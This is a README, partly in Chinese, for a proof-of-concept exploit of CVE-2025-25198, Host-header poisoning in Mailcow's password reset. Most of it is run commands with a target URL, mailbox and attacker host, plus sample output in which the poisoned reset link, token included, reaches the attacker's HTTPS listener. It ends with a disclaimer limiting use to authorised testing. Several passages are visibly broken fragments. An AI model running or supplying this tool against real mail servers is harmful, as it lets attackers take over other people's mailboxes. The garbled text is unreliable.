针对 CVE-2025-25198 的概念验证(PoC),该漏洞是一个影响 Mailcow 密码重置流程的 Host 头投毒问题。
该脚本会在 443 端口启动一个本地 HTTPS 监听器,自动获取有效的 CSRF 令牌,通过被投毒的 Host 头发送密码重置序列,并在从 HTTP 响应或监听器回调中恢复出重置链接时停止。
Host 头发送重置流程。Python 3.8+
OpenSSL in PATH
sudo/root privileges to bind port 443
Inbound TCP/443 reachable from the target
安装依赖:
pip install -r requirements.txt
尖括号中的值是占位符。请将它们替换为你自己的值,且不要包含 < 或 > 字符。
sudo python3 cve_2025_25198.py \
--listen-host 0.0.0.0 \
--base-url <MAILCOW_URL> \
--username <MAILBOX> \
--attacker-host <ATTACKER_HOST> \
--http2
<MAILCOW_URL> # Target Mailcow base URL. Example: https://mail.example.com
<MAILBOX> # Mailbox/user passed to the reset form. Usually an email address.
<ATTACKER_HOST> # IP or DNS name that the target can reach on TCP/443.
sudo python3 cve_2025_25198.py \
--listen-host 0.0.0.0 \
--base-url https://mail.cows.com \
--username [email protected] \
--attacker-host 10.10.13.12 \
--http2
示例输出:
[2026-05-17T18:30:12Z] [+] HTTPS listener on https://0.0.0.0:443
[2026-05-17T18:30:13Z] [+] Auto CSRF: 0123456789abcdef...
[2026-05-17T18:30:13Z] [>] Sending sequence with poisoned Host
[2026-05-17T18:30:14Z] [HIT] GET /reset-password?token=AAAA-BBBB-CCCC-DDDD ← 10.10.13.12 [200]
╔════════════════════════════════════════════════════════════════════════════════╗
║ RESET LINK FOUND! (listener) ║
╟════════════════════════════════════════════════════════════════════════════════╢
║ https://mail.cows.com/reset-password?token=AAAA-BBBB-CCCC-DDDD ║
║ Target: mail.cows.com ║
╚════════════════════════════════════════════════════════════════════════════════╝
--http2
Use HTTP/2 via httpx. Recommended for best parity with modern browsers.
--interval <seconds>
Seconds between attempts and listener wait windows. Default: 8
--max-attempts <N>
Stop after N attempts. Default: 0, which means retry indefinitely.
--cookie '<pairs>'
Seed the client cookie jar manually.
Example: --cookie 'PHPSESSID=abcdef123456; another=value'
--csrf <TOKEN>
Use a known CSRF token instead of auto-discovery.
--only-final
Hide progress logs and print only the final reset-link banner.
443 端口。443 端口需要 sudo 或 root 权限。https://<ATTACKER_HOST>/。server.pem 和 server.key 不存在,则会自动生成。本 PoC 仅用于授权安全测试、实验室环境和漏洞验证。 未经明确许可,请勿将其用于任何系统。